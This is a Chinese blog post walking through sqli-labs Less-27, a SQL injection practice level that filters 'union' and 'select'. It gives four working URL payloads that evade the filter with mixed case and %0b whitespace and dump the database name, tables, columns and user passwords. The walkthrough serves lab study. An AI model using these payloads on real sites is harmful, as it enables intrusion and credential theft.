Less(27)GET - Error Based- All your UNION & SELECT belong to us (过滤了union和select的)

1.查看一下php文件,发现不仅过滤了符号,还过滤了一些关键字,但是我们可以大小写结合

  

 

 

   

 

 

   

  m (PCRE_MULTILINE)默认情况下,PCRE 认为目标字符串是由单行字符组成的(然而实际上它可能会包含多行), "行首"元字符 (^) 仅匹配字符串的开始位置, 而"行末"元字符 ($) 仅匹配字符串末尾, 或者最后的换行符(除非设置了 D 修饰符)。这个行为和 perl 相同。 当这个修饰符设置之后,“行首”和“行末”就会匹配目标字符串中任意换行符之前或之后,另外, 还分别匹配目标字符串的最开始和最末尾位置。这等同于 perl 的 /m 修饰符。如果目标字符串 中没有 "\n" 字符,或者模式中没有出现 ^ 或 $,设置这个修饰符不产生任何影响。s (PCRE_DOTALL)如果设置了这个修饰符,模式中的点号元字符匹配所有字符,包含换行符。如果没有这个 修饰符,点号不匹配换行符。这个修饰符等同于 perl 中的/s修饰符。 一个取反字符类比如 [^a] 总是匹配换行符,而不依赖于这个修饰符的设置。/m  当设定了此修正符,“行起始”和“行结束”除了匹配整个字符串开头和结束外,还分别匹配其中的换行符的之后和之前。这和 Perl 的 /m 修正符是等效的。如果目标字符串中没有“\n”字符或者模式中没有 ^ 或 $,则设定此修正符没有任何效果。  实际上就就是匹配多行的意思?

 

  /s 使圆点元字符(.)匹配换行符,  上面这里没有点就不用管了,那么上面直接大小写绕过就可以了

2.爆破:php-5.3.29

  (1)爆库:?id=0'%0buniOn%0bsElEct%0b1,database(),3%0bor%0b'1'='1  

     

  这里的or '1 ' = '1是为了闭合和后的' 变成or '1'='1' limit 1,1   让语句完整

  (2)爆表(把or换成&&(%26%26)):?id=0'%0buniOn%0bsElEct%0b1,(group_concat(table_name)),3%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema='security'%0b%26%26%0b'1'='1

     

  (3)爆列名:?id=0'%0buniOn%0bsElEct%0b1,(group_concat(column_name)),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema='security'%0bAnd%0btable_name='users'%0b%26%26%0b'1'='1

 

  (4)爆值:?id=0'%0buniOn%0bsElEct%0b1,(group_concat(username,0x7e,password)),3%0bfrom%0busers%0buniOn%0bseLect (1),(2),'(3

    

 

 



原文链接:https://blog.csdn.net/qq_41420747/article/details/81836327

posted @ 2020-03-03 15:40  孟雨  阅读(167)  评论(0编辑  收藏  举报